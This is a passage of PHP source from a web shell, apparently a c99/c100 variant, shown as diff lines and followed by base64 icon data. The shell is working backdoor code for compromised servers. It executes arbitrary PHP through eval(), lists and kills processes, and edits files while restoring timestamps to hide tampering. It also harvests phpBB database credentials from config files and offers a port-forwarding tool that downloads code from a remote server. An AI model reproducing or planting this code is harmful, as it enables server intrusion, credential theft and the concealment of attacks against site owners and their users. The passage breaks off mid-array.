?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {N3tshexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c100. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {N3tshexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 